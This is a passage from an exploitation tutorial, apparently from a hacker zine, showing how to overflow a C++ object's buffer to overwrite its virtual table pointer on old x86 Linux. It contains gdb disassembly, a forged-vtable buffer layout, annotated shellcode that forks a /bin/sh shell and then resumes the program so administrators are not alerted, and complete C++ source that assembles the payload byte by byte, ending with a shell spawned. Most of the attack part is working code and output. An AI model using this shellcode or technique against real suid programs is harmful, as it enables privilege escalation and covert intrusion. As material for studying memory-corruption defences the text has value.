0x80486d1 <main+97>: movl 0xfffffffc(%ebp),%eax
|
|
0x80486d4 <main+100>: pushl %eax
|
|
0x80486d5 <main+101>: call 0x8048790 <SetBuffer__9BaseClassPc>
|
|
0x80486da <main+106>: addl $0x8,%esp
|
|
0x80486dd <main+109>: movl 0xfffffff8(%ebp),%eax
|
|
0x80486e0 <main+112>: movl 0x20(%eax),%ebx
|
|
0x80486e3 <main+115>: addl $0x8,%ebx
|
|
0x80486e6 <main+118>: movswl (%ebx),%eax
|
|
0x80486e9 <main+121>: movl %eax,%edx
|
|
0x80486eb <main+123>: addl 0xfffffff8(%ebp),%edx
|
|
---Type <return> to continue, or q <return> to quit---
|
|
0x80486ee <main+126>: pushl %edx
|
|
0x80486ef <main+127>: movl 0x4(%ebx),%edi
|
|
0x80486f2 <main+130>: call *%edi
|
|
0x80486f4 <main+132>: addl $0x4,%esp
|
|
0x80486f7 <main+135>: movl 0xfffffffc(%ebp),%eax
|
|
0x80486fa <main+138>: movl 0x20(%eax),%esi
|
|
0x80486fd <main+141>: addl $0x8,%esi
|
|
0x8048700 <main+144>: movswl (%esi),%eax
|
|
0x8048703 <main+147>: movl %eax,%edx
|
|
0x8048705 <main+149>: addl 0xfffffffc(%ebp),%edx
|
|
0x8048708 <main+152>: pushl %edx
|
|
0x8048709 <main+153>: movl 0x4(%esi),%edi
|
|
0x804870c <main+156>: call *%edi
|
|
0x804870e <main+158>: addl $0x4,%esp
|
|
0x8048711 <main+161>: xorl %eax,%eax
|
|
0x8048713 <main+163>: jmp 0x8048720 <main+176>
|
|
0x8048715 <main+165>: leal 0x0(%esi,1),%esi
|
|
0x8048719 <main+169>: leal 0x0(%edi,1),%edi
|
|
0x8048720 <main+176>: leal 0xffffffec(%ebp),%esp
|
|
0x8048723 <main+179>: popl %ebx
|
|
0x8048724 <main+180>: popl %esi
|
|
0x8048725 <main+181>: popl %edi
|
|
0x8048726 <main+182>: movl %ebp,%esp
|
|
0x8048728 <main+184>: popl %ebp
|
|
---Type <return> to continue, or q <return> to quit---
|
|
0x8048729 <main+185>: ret
|
|
0x804872a <main+186>: leal 0x0(%esi),%esi
|
|
End of assembler dump.
|
|
|
|
Next, we install a breakpoint in 0x8048690, to get the address of our 1st
|
|
object.
|
|
|
|
(gdb) break *0x8048690
|
|
Breakpoint 1 at 0x8048690
|
|
|
|
And finally, we launch our program:
|
|
|
|
(gdb) run
|
|
Starting program: /home/rix/BO/bo3
|
|
Breakpoint 1, 0x8048690 in main ()
|
|
|
|
We read the address of our 1st object:
|
|
|
|
(gdb) info reg eax
|
|
eax: 0x8049b38 134519608
|
|
|
|
Then we pursue, while hoping that all happens as foreseen... :)
|
|
|
|
Continuing.
|
|
Program received signal SIGTRAP, Trace/breakpoint trap.
|
|
0x8049b58 in ?? ()
|
|
|
|
We receive a SIGTRAP well, provoked by the instruction preceding the 0x8049b58
|
|
address. However, the address of our object was 0x8049b38.
|
|
0x8049b58-1-0x8049b38=0x1F (=31), which is exactly the offset of our CCh in our
|
|
buffer. Therefore, it is well our CCh that has been executed!!!
|
|
You understood it, we can now replace our simple CCh code, by a small
|
|
shellcode, to get some more interesting results, especially if our program
|
|
bo3 is suid... ;)
|
|
|
|
|
|
Some variations about the method
|
|
================================
|
|
We have explain here the simplest exploitable mechanism.
|
|
Other more complex cases could possibly appear...
|
|
For example, we could have associations between classes like this:
|
|
|
|
class MyClass3 {
|
|
private:
|
|
char Buffer3[32];
|
|
MyClass1 *PtrObjectClass;
|
|
public:
|
|
virtual void Function1() {
|
|
...
|
|
PtrObjectClass1->PrintBuffer();
|
|
...
|
|
}
|
|
};
|
|
|
|
In this case, we have a relation between 2 classes called "link by reference".
|
|
Our MyClass3 class contains a pointer to another class. If we overflow the
|
|
buffer in the MyClass3 class, we can overwrite the PtrObjectClass pointer. We
|
|
only need to browse a supplementary pointer ;)
|
|
|
|
|
|
+----------------------------------------------------+
|
|
| |
|
|
+-> VTABLE_MyClass3: IIIIIIIIIIIIRRRR |
|
|
=+==
|
|
MyClass3 object: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBPPPPXXXX
|
|
==+=
|
|
|
|
|
+---------------------<---------------------------+
|
|
|
|
|
+--> MyClass1 object: CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCYYYY
|
|
==+=
|
|
|
|
|
+-------------------------------------------------------+
|
|
|
|
|
+--> VTABLE_MyClass1: IIIIIIIIIIIIQQQQ
|
|
|
|
Where: B represents bytes of the Buffer of MyClass4.
|
|
C represents bytes of the Buffer of MyClass1.
|
|
P represents bytes of a pointer to a MyClass1 object class.
|
|
X represents bytes of the possible VPTR of the MyClass4 object class.
|
|
(it is not necessary to have a VPTR in the class containing the
|
|
pointer).
|
|
Y represent bytes of the VPTR of the MyClass1 object class.
|
|
|
|
This technique doesn't depend here on the structure of the internal class to
|
|
the compiler (offset of VPTR), but depend of the structure of the class
|
|
defined by the programmer, and dus it can even be exploited in programs coming
|
|
from compilers placing the VPTR at the beginning of the object in memory (for
|
|
example Visual C++).
|
|
Besides, in this case, the MyClass3 object class possibly have been created
|
|
on the stack (local object), what makes that localization is a lot easier,
|
|
being given that the address of the object will probably be fixed. However, in
|
|
this case, it will be necessary that our stack be executable, and not our heap
|
|
as previously.
|
|
|
|
We know how to find the values for 2 of the 3 parameters of our
|
|
BufferOverflow() function (number of VTABLE addresses, and offset of the VPTR)
|
|
Indeed these 2 parameters can be easily founded in debugging the code of the
|
|
program, and besides, their value is fixed from on execution to another.
|
|
On the other hand, the 1st parameter (address of the object in memory), is
|
|
more difficult to establish. In fact, we need this address only because we
|
|
want to place the VTABLE that we created into the buffer.
|
|
|
|
|
|
----| A particular example
|
|
|
|
Let's suppose that we have a class whose last variable is an exploitable
|
|
buffer. This means that if we fill this buffer (for example of size N bytes),
|
|
with N + 4 bytes, we know that we don't have modify anything else in the space
|
|
memory of the process that the content of our buffer, the VPTR, and the
|
|
byte following our VPTR (because character 00h).
|
|
|
|
Perhaps could we take advantage of this situation. But how? We are going to
|
|
use the buffer, to launch a shellcode, and next to follow the execution of the
|
|
program! The advantage will be enormous, since the program would not be
|
|
finished brutally, and dus will not alert someone eventually controlling or
|
|
logging its execution (administrators...).
|
|
|
|
Is it possible?
|
|
It would be necessary to first execute our shellcode, to rewrite a chain in
|
|
our buffer, and to restore the stack in the initial state (just before the
|
|
call of our method). Then, it would only remain us to recall the initial
|
|
method, so that the program normally continues.
|
|
|
|
Here are several remarks and problems that we are going to meet:
|
|
- it is necessary to completely rewrite our buffer (so that the continuation
|
|
of the execution uses appropriate values), and therefore to overwrite our own
|
|
shellcode.
|
|
To avoid it, we are going to copy a part of our shellcode (the smallest part
|
|
as possible ) to another place in memory.
|
|
In this case we are going to copy a part of our shellcode to the stack (we
|
|
will call this part of code "stackcode"). It should not pose any particularly
|
|
problems if our stack is executable.
|
|
- We had mentioned before a "strange handling", that consisted to add an
|
|
offset to the address of our object, and to place this result on the stack,
|
|
what provided the This pointer to the executed method.
|
|
The problem is, that here, the offset that is going to be added to the
|
|
address of our object is going to be took in our VTABLE, and that this offset
|
|
cannot be 0 (because we cannot have 00h bytes in our buffer).
|
|
We are going to choose an arbitrary value for this offset, that we will place
|
|
in our VTABLE, and correct the This value on the stack later, with a
|
|
corresponding subtraction.
|
|
- we are going to make a fork () on our process, to launch the execution of
|
|
the shell (exec ()), and to wait for its termination (wait ()), to continue
|
|
our execution of the main program.
|
|
- the address where we will continue our execution is constant, because it is
|
|
the address of the original method (presents in the VTABLE of our object's
|
|
relative class).
|
|
- we know that we can use our EAX register, because this one would be
|
|
overwritten in any case by our method's return value.
|
|
- we cannot include any 00h byte in our buffer. We then should regenerate
|
|
these bytes (necessary for our strings) at run time.
|
|
|
|
While applying all these important points, we are going to try to construct a
|
|
buffer according to the following diagram:
|
|
|
|
+------------------------------------<-(1)---------------------------------+
|
|
| our VTABLE |
|
|
=+=================== ==+=
|
|
9999TT999999.... MMMM SSSS0000/bin/shAAA.... A BBB... Bnewstring99999.... VVVVL
|
|
==+= ==+= | | | ========
|
|
| | | | | \
|
|
| +-->--+ | | \(a copy on the stack)
|
|
| | | ========
|
|
+---(2)-->--------+ | BBB... B
|
|
| | |
|
|
+-(3)->+ +--> old method
|
|
|
|
Where: 9 represent NOP bytes (90h).
|
|
T represents bytes forming the word of the offset who will be added to
|
|
the pointer on the stack (strange handling ;).
|
|
M represents the address in our buffer of the beginning of our
|
|
shellcode.
|
|
S represents the address in our buffer of the "/bin/sh" string.
|
|
0 represented 90h bytes, who will be initialized to 00h at run time
|
|
(necessary for exec ()).
|
|
/bin/sh represents the "/bin/sh" string, without any 00h termination
|
|
byte.
|
|
A represents a byte of our shellcode (principally to run the shell, then
|
|
to copy the stackcode on the stack and to run it).
|
|
B represents a byte of our stackcode (principally to reset our buffer
|
|
with a new string, and to run the original method to continue the
|
|
execution of the original program.
|
|
newstring represents the "newstring" string, that will be recopied in
|
|
the buffer after execution of the shell, to continue the execution.
|
|
V represents a byte of the VPTR, that must point back to the beginning
|
|
of our buffer (to our VTABLE).
|
|
L represents the byte that will be copy after the VPTR, and that will
|
|
be a 0hh byte.
|
|
|
|
In a more detailed manner, here are the content of our shellcode and
|
|
stackcode:
|
|
|
|
|
|
pushl %ebp //save existing EBP
|
|
movl %esp,%ebp //stack frame creation
|
|
xorl %eax,%eax //EAX=0
|
|
movb $0x31,%al //EAX=$StackCodeSize (size of the code
|
|
// who will be copied to the stack)
|
|
subl %eax,%esp //creation of a local variable to
|
|
// contain our stackcode
|
|
pushl %edi
|
|
pushl %esi
|
|
pushl %edx
|
|
pushl %ecx
|
|
pushl %ebx //save registers
|
|
pushf //save flags
|
|
cld //direction flag=incrementation
|
|
xorl %eax,%eax //EAX=0
|
|
movw $0x101,%ax //EAX=$AddThis (value added for
|
|
// calculating This on the stack)
|
|
subl %eax,0x8(%ebp) //we substract this value from the
|
|
// current This value on the stack, to
|
|
// restore the original This.
|
|
xorl %eax,%eax //EAX=0
|
|
movl $0x804a874,%edi //EDI=$BufferAddress+$NullOffset
|
|
// (address of NULL dword in our
|
|
// buffer)
|
|
stosl %eax,%es:(%edi) //we write this NULL in the buffer
|
|
movl $0x804a87f,%edi //EDI=$BufferAddress+$BinSh00Offset
|
|
// (address of 00h from "/bin/sh")
|
|
stosb %al,%es:(%edi) //we write this 00h at the end of
|
|
// "/bin/sh"
|
|
movb $0x2,%al
|
|
int $0x80 //fork()
|
|
xorl %edx,%edx //EDX=0
|
|
cmpl %edx,%eax
|
|
jne 0x804a8c1 //if EAX=0 then jump to LFATHER
|
|
// (EAX=0 if father process)
|
|
|
|
movb $0xb,%al //else we are the child process
|
|
movl $0x804a878,%ebx //EBX=$BufferAddress+$BinShOffset
|
|
// (address of "/bin/sh")
|
|
movl $0x804a870,%ecx //ECX=$BufferAddress+$BinShAddressOffset
|
|
// (adresse of address of "/bin/sh")
|
|
xorl %edx,%edx //EDX=0h (NULL)
|
|
int $0x80 //exec() "/bin/sh"
|
|
|
|
LFATHER:
|
|
movl %edx,%esi //ESI=0
|
|
movl %edx,%ecx //ECX=0
|
|
movl %edx,%ebx //EBX=0
|
|
notl %ebx //EBX=0xFFFFFFFF
|
|
movl %edx,%eax //EAX=0
|
|
movb $0x72,%al //EAX=0x72
|
|
int $0x80 //wait() (wait an exit from the shell)
|
|
xorl %ecx,%ecx //ECX=0
|
|
movb $0x31,%cl //ECX=$StackCodeSize
|
|
movl $0x804a8e2,%esi //ESI=$BufferAddress+$StackCodeOffset
|
|
// (address of beginning of the
|
|
// stackcode)
|
|
movl %ebp,%edi //EDI point to the end of or local
|
|
// variable
|
|
subl %ecx,%edi //EDI point to the beginning of or
|
|
// local variable
|
|
movl %edi,%edx //EDX also point to the beginning of
|
|
// or local variable
|
|
repz movsb %ds:(%esi),%es:(%edi) //copy our stackcode into our local
|
|
// variable on the stack
|
|
jmp *%edx //run our stackcode on the stack
|
|
|
|
stackcode:
|
|
movl $0x804a913,%esi //ESI=$BufferAddress+$NewBufferOffset
|
|
// (point to the new string we want to
|
|
// rewrite in the buffer)
|
|
movl $0x804a860,%edi //EDI=$BufferAddress (point to the
|
|
// beginning of our buffer)
|
|
xorl %ecx,%ecx //ECX=0
|
|
movb $0x9,%cl //ECX=$NewBufferSize (length of the
|
|
// new string)
|
|
repz movsb %ds:(%esi),%es:(%edi) //copy the new string at the
|
|
// beginning of our buffer
|
|
xorb %al,%al //AL=0
|
|
stosb %al,%es:(%edi) //put a 00h at the end of the string
|
|
movl $0x804a960,%edi //EDI=$BufferAddress+$VPTROffset
|
|
// (address of VPTR)
|
|
movl $0x8049730,%eax //EAX=$VTABLEAddress (adresse of the
|
|
// original VTABLE from our class)
|
|
movl %eax,%ebx //EBX=$VTABLEAddress
|
|
stosl %eax,%es:(%edi) //correct the VPTR to point to the
|
|
// original VTABLE
|
|
movb $0x29,%al //AL=$LastByte (byte following the
|
|
// VPTR in memory)
|
|
stosb %al,%es:(%edi) //we correct this byte
|
|
movl 0xc(%ebx),%eax //EAX=*VTABLEAddress+IAddress*4
|
|
// (EAX take the address of the
|
|
// original method in the original
|
|
// VTABLE).
|
|
popf
|
|
popl %ebx
|
|
popl %ecx
|
|
popl %edx
|
|
popl %esi
|
|
popl %edi //restore flags and registers
|
|
movl %ebp,%esp
|
|
popl %ebp //destroy the stack frame
|
|
jmp *%eax //run the original method
|
|
|
|
|
|
We now must code a BufferOverflow() function that is going to "compile" us the
|
|
shellcode and the stackcode, and to create the structure of our buffer.
|
|
Here are parameters that we should pass to this function:
|
|
- BufferAddress = address of our buffer in memory.
|
|
- IAddress = index in the VTABLE of the 1st method that will be executed.
|
|
- VPTROffset = offset in our buffer of the VPTR to overwrite.
|
|
- AddThis = value that will be added to the This pointer on the stack, because
|
|
of the "strange handling".
|
|
- VTABLEAddress = address of the original VTABLE of our class (coded in the
|
|
executable).
|
|
- *NewBuffer = a pointer to the new chain that we want to place in our buffer
|
|
to normally continue the program.
|
|
- LastByte = the original byte following the VPTR in memory, that is
|
|
overwritten at the time of the copy of our buffer in the original buffer,
|
|
because of the 00h.
|
|
|
|
Here is the resulting code of the program (bo4.cpp):
|
|
|
|
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
#include <malloc.h>
|
|
|
|
#define BUFFERSIZE 256
|
|
|
|
class BaseClass {
|
|
private:
|
|
char Buffer[BUFFERSIZE];
|
|
public:
|
|
void SetBuffer(char *String) {
|
|
strcpy(Buffer,String);
|
|
}
|
|
virtual void PrintBuffer() {
|
|
printf("%s\n",Buffer);
|
|
}
|
|
};
|
|
|
|
class MyClass1:public BaseClass {
|
|
public:
|
|
void PrintBuffer() {
|
|
printf("MyClass1: ");
|
|
BaseClass::PrintBuffer();
|
|
}
|
|
};
|
|
|
|
class MyClass2:public BaseClass {
|
|
public:
|
|
void PrintBuffer() {
|
|
printf("MyClass2: ");
|
|
BaseClass::PrintBuffer();
|
|
}
|
|
};
|
|
|
|
char *BufferOverflow(unsigned long BufferAddress,int IAddress,int VPTROffset,
|
|
unsigned short AddThis,unsigned long VTABLEAddress,char *NewBuffer,char LastByte) {
|
|
|
|
char *CBuf;
|
|
unsigned long *LBuf;
|
|
unsigned short *SBuf;
|
|
char BinShSize,ShellCodeSize,StackCodeSize,NewBufferSize;
|
|
unsigned long i,
|
|
MethodAddressOffset,BinShAddressOffset,NullOffset,BinShOffset,BinSh00Offset,
|
|
ShellCodeOffset,StackCodeOffset,
|
|
NewBufferOffset,NewBuffer00Offset,
|
|
LastByteOffset;
|
|
char *BinSh="/bin/sh";
|
|
|
|
CBuf=(char*)malloc(VPTROffset+4+1);
|
|
LBuf=(unsigned long*)CBuf;
|
|
|
|
BinShSize=(char)strlen(BinSh);
|
|
ShellCodeSize=0x62;
|
|
StackCodeSize=0x91+2-0x62;
|
|
NewBufferSize=(char)strlen(NewBuffer);
|
|
|
|
MethodAddressOffset=IAddress*4;
|
|
BinShAddressOffset=MethodAddressOffset+4;
|
|
NullOffset=MethodAddressOffset+8;
|
|
BinShOffset=MethodAddressOffset+12;
|
|
BinSh00Offset=BinShOffset+(unsigned long)BinShSize;
|
|
ShellCodeOffset=BinSh00Offset+1;
|
|
StackCodeOffset=ShellCodeOffset+(unsigned long)ShellCodeSize;
|
|
NewBufferOffset=StackCodeOffset+(unsigned long)StackCodeSize;
|
|
NewBuffer00Offset=NewBufferOffset+(unsigned long)NewBufferSize;
|
|
LastByteOffset=VPTROffset+4;
|
|
|
|
for (i=0;i<VPTROffset;i++) CBuf[i]='\x90'; //NOPs
|
|
SBuf=(unsigned short*)&LBuf[2];
|
|
*SBuf=AddThis; //added to the This pointer on the stack
|
|
|
|
LBuf=(unsigned long*)&CBuf[MethodAddressOffset];
|
|
*LBuf=BufferAddress+ShellCodeOffset; //shellcode's address
|
|
|
|
LBuf=(unsigned long*)&CBuf[BinShAddressOffset];
|
|
*LBuf=BufferAddress+BinShOffset; //address of "/bin/sh"
|
|
|
|
memcpy(&CBuf[BinShOffset],BinSh,BinShSize); //"/bin/sh" string
|
|
|
|
//shellcode:
|
|
|
|
i=ShellCodeOffset;
|
|
CBuf[i++]='\x55'; //pushl %ebp
|
|
CBuf[i++]='\x89';CBuf[i++]='\xE5'; //movl %esp,%ebp
|
|
CBuf[i++]='\x31';CBuf[i++]='\xC0'; //xorl %eax,%eax
|
|
CBuf[i++]='\xB0';CBuf[i++]=StackCodeSize; //movb $StackCodeSize,%al
|
|
CBuf[i++]='\x29';CBuf[i++]='\xC4'; //subl %eax,%esp
|
|
|
|
CBuf[i++]='\x57'; //pushl %edi
|
|
CBuf[i++]='\x56'; //pushl %esi
|
|
CBuf[i++]='\x52'; //pushl %edx
|
|
CBuf[i++]='\x51'; //pushl %ecx
|
|
CBuf[i++]='\x53'; //pushl %ebx
|
|
CBuf[i++]='\x9C'; //pushf
|
|
|
|
CBuf[i++]='\xFC'; //cld
|
|
|
|
CBuf[i++]='\x31';CBuf[i++]='\xC0'; //xorl %eax,%eax
|
|
CBuf[i++]='\x66';CBuf[i++]='\xB8'; //movw $AddThis,%ax
|
|
SBuf=(unsigned short*)&CBuf[i];*SBuf=AddThis;i=i+2;
|
|
CBuf[i++]='\x29';CBuf[i++]='\x45';CBuf[i++]='\x08'; //subl %eax,0x8(%ebp)
|
|
|
|
CBuf[i++]='\x31';CBuf[i++]='\xC0'; //xorl %eax,%eax
|
|
|
|
CBuf[i++]='\xBF'; //movl $BufferAddress+$NullOffset,%edi
|
|
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+NullOffset;i=i+4;
|
|
CBuf[i++]='\xAB'; //stosl %eax,%es:(%edi)
|
|
|
|
CBuf[i++]='\xBF'; //movl $BufferAddress+$BinSh00Offset,%edi
|
|
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+BinSh00Offset;i=i+4;
|
|
CBuf[i++]='\xAA'; //stosb %al,%es:(%edi)
|
|
|
|
CBuf[i++]='\xB0';CBuf[i++]='\x02'; //movb $0x2,%al
|
|
CBuf[i++]='\xCD';CBuf[i++]='\x80'; //int $0x80 (fork())
|
|
|
|
CBuf[i++]='\x31';CBuf[i++]='\xD2'; //xorl %edx,%edx
|
|
CBuf[i++]='\x39';CBuf[i++]='\xD0'; //cmpl %edx,%eax
|
|
CBuf[i++]='\x75';CBuf[i++]='\x10'; //jnz +$0x10 (-> LFATHER)
|
|
|
|
CBuf[i++]='\xB0';CBuf[i++]='\x0B'; //movb $0xB,%al
|
|
CBuf[i++]='\xBB'; //movl $BufferAddress+$BinShOffset,%ebx
|
|
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+BinShOffset;i=i+4;
|
|
CBuf[i++]='\xB9'; //movl $BufferAddress+$BinShAddressOffset,%ecx
|
|
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+BinShAddressOffset;i=i+4;
|
|
CBuf[i++]='\x31';CBuf[i++]='\xD2'; //xorl %edx,%edx
|
|
CBuf[i++]='\xCD';CBuf[i++]='\x80'; //int $0x80 (execve())
|
|
|
|
//LFATHER:
|
|
CBuf[i++]='\x89';CBuf[i++]='\xD6'; //movl %edx,%esi
|
|
CBuf[i++]='\x89';CBuf[i++]='\xD1'; //movl %edx,%ecx
|
|
CBuf[i++]='\x89';CBuf[i++]='\xD3'; //movl %edx,%ebx
|
|
CBuf[i++]='\xF7';CBuf[i++]='\xD3'; //notl %ebx
|
|
CBuf[i++]='\x89';CBuf[i++]='\xD0'; //movl %edx,%eax
|
|
CBuf[i++]='\xB0';CBuf[i++]='\x72'; //movb $0x72,%al
|
|
CBuf[i++]='\xCD';CBuf[i++]='\x80'; //int $0x80 (wait())
|
|
|
|
CBuf[i++]='\x31';CBuf[i++]='\xC9'; //xorl %ecx,%ecx
|
|
CBuf[i++]='\xB1';CBuf[i++]=StackCodeSize; //movb $StackCodeSize,%cl
|
|
|
|
CBuf[i++]='\xBE'; //movl $BufferAddress+$StackCodeOffset,%esi
|
|
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+StackCodeOffset;i=i+4;
|
|
|
|
CBuf[i++]='\x89';CBuf[i++]='\xEF'; //movl %ebp,%edi
|
|
CBuf[i++]='\x29';CBuf[i++]='\xCF'; //subl %ecx,%edi
|
|
CBuf[i++]='\x89';CBuf[i++]='\xFA'; //movl %edi,%edx
|
|
|
|
CBuf[i++]='\xF3';CBuf[i++]='\xA4'; //repz movsb %ds:(%esi),%es:(%edi)
|
|
|
|
CBuf[i++]='\xFF';CBuf[i++]='\xE2'; //jmp *%edx (stackcode)
|
|
|
|
//stackcode:
|
|
|
|
CBuf[i++]='\xBE'; //movl $BufferAddress+$NewBufferOffset,%esi
|
|
|
|
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+NewBufferOffset;i=i+4;
|
|
CBuf[i++]='\xBF'; //movl $BufferAddress,%edi
|
|
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress;i=i+4;
|
|
CBuf[i++]='\x31';CBuf[i++]='\xC9'; //xorl %ecx,%ecx
|
|
CBuf[i++]='\xB1';CBuf[i++]=NewBufferSize; //movb $NewBufferSize,%cl
|
|
CBuf[i++]='\xF3';CBuf[i++]='\xA4'; //repz movsb %ds:(%esi),%es:(%edi)
|
|
|
|
CBuf[i++]='\x30';CBuf[i++]='\xC0'; //xorb %al,%al
|
|
CBuf[i++]='\xAA'; //stosb %al,%es:(%edi)
|
|
|
|
CBuf[i++]='\xBF'; //movl $BufferAddress+$VPTROffset,%edi
|
|
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+VPTROffset;i=i+4;
|
|
CBuf[i++]='\xB8'; //movl $VTABLEAddress,%eax
|
|
LBuf=(unsigned long*)&CBuf[i];*LBuf=VTABLEAddress;i=i+4;
|
|
CBuf[i++]='\x89';CBuf[i++]='\xC3'; //movl %eax,%ebx
|
|
CBuf[i++]='\xAB'; //stosl %eax,%es:(%edi)
|
|
|
|
CBuf[i++]='\xB0';CBuf[i++]=LastByte; //movb $LastByte,%al
|
|
CBuf[i++]='\xAA'; //stosb %al,%es:(%edi)
|
|
|
|
CBuf[i++]='\x8B';CBuf[i++]='\x43';
|
|
CBuf[i++]=(char)4*IAddress; //movl $4*Iaddress(%ebx),%eax
|
|
|
|
CBuf[i++]='\x9D'; //popf
|
|
CBuf[i++]='\x5B'; //popl %ebx
|
|
CBuf[i++]='\x59'; //popl %ecx
|
|
CBuf[i++]='\x5A'; //popl %edx
|
|
CBuf[i++]='\x5E'; //popl %esi
|
|
CBuf[i++]='\x5F'; //popl %edi
|
|
|
|
CBuf[i++]='\x89';CBuf[i++]='\xEC'; //movl %ebp,%esp
|
|
CBuf[i++]='\x5D'; //popl %ebp
|
|
|
|
CBuf[i++]='\xFF';CBuf[i++]='\xE0'; //jmp *%eax
|
|
|
|
memcpy(&CBuf[NewBufferOffset],NewBuffer,(unsigned long)NewBufferSize);
|
|
//insert the new string into the buffer
|
|
|
|
LBuf=(unsigned long*)&CBuf[VPTROffset];
|
|
*LBuf=BufferAddress; //address of our VTABLE
|
|
|
|
CBuf[LastByteOffset]=0; //last byte (for strcpy())
|
|
|
|
return CBuf;
|
|
}
|
|
|
|
void main() {
|
|
BaseClass *Object[2];
|
|
unsigned long *VTABLEAddress;
|
|
|
|
Object[0]=new MyClass1;
|
|
Object[1]=new MyClass2;
|
|
|
|
printf("Object[0] address = %X\n",(unsigned long)&(*Object[0]));
|
|
VTABLEAddress=(unsigned long*) ((char*)&(*Object[0])+256);
|
|
printf("VTable address = %X\n",*VTABLEAddress);
|
|
|
|
Object[0]->SetBuffer(BufferOverflow((unsigned long)&(*Object[0]),3,BUFFERSIZE,
|
|
0x0101,*VTABLEAddress,"newstring",0x29));
|
|
|
|
Object[1]->SetBuffer("string2");
|
|
Object[0]->PrintBuffer();
|
|
Object[1]->PrintBuffer();
|
|
}
|
|
|
|
|
|
Now, we are ready to compile and to check...
|
|
|
|
rix@pentium:~/BO > gcc -o bo4 bo4.cpp
|
|
rix@pentium:~/BO > bo4
|
|
adresse Object[0] = 804A860
|
|
adresse VTable = 8049730
|
|
sh-2.02$ exit
|
|
exit
|
|
MyClass1: newstring
|
|
MyClass2: string2
|
|
rix@pentium:~/BO >
|
|
|
|
And as foreseen, our shell executes himself, then the program continue its
|
|
execution, with a new string in the buffer ("newstring ")!!!
|
|
|
|
|
|
Conclusion
|
|
==========
|
|
To summarize, let's note that the basis technique requires the following
|
|
conditions for success:
|
|
- a buffer of a certain minimal size
|
|
- suid program
|
|
- executable heap and/or executable stack (according to techniques)
|
|
- to know the address of the beginning of the buffer (on the heap or on the
|
|
stack)
|
|
- to know the offset from the beginning of the buffer of the VPTR (fixed for
|
|
all executions)
|
|
- to know the offset in the VTABLE of the pointer to the 1st method executed
|
|
after the overflow (fixed for all executions)
|
|
- to know the address of the VTABLE if we want to continue the execution of
|
|
the program correctly.
|
|
|
|
I hope this article will have once again show you how pointers (more and more
|
|
used in modern programming ) can be very dangerous in some particular cases.
|
|
|
|
We notice that some languages as powerful as C++, always include some
|
|
weakness, and that this is not with a particular language or tools that a
|
|
program becomes secured, but mainly because of the knowledge and expertise
|
|
of its conceivers...
|
|
|
|
Thanks to: route, klog, mayhem, nite, darkbug.
|
|
|
|
|EOF|-------------------------------------------------------------------------|
|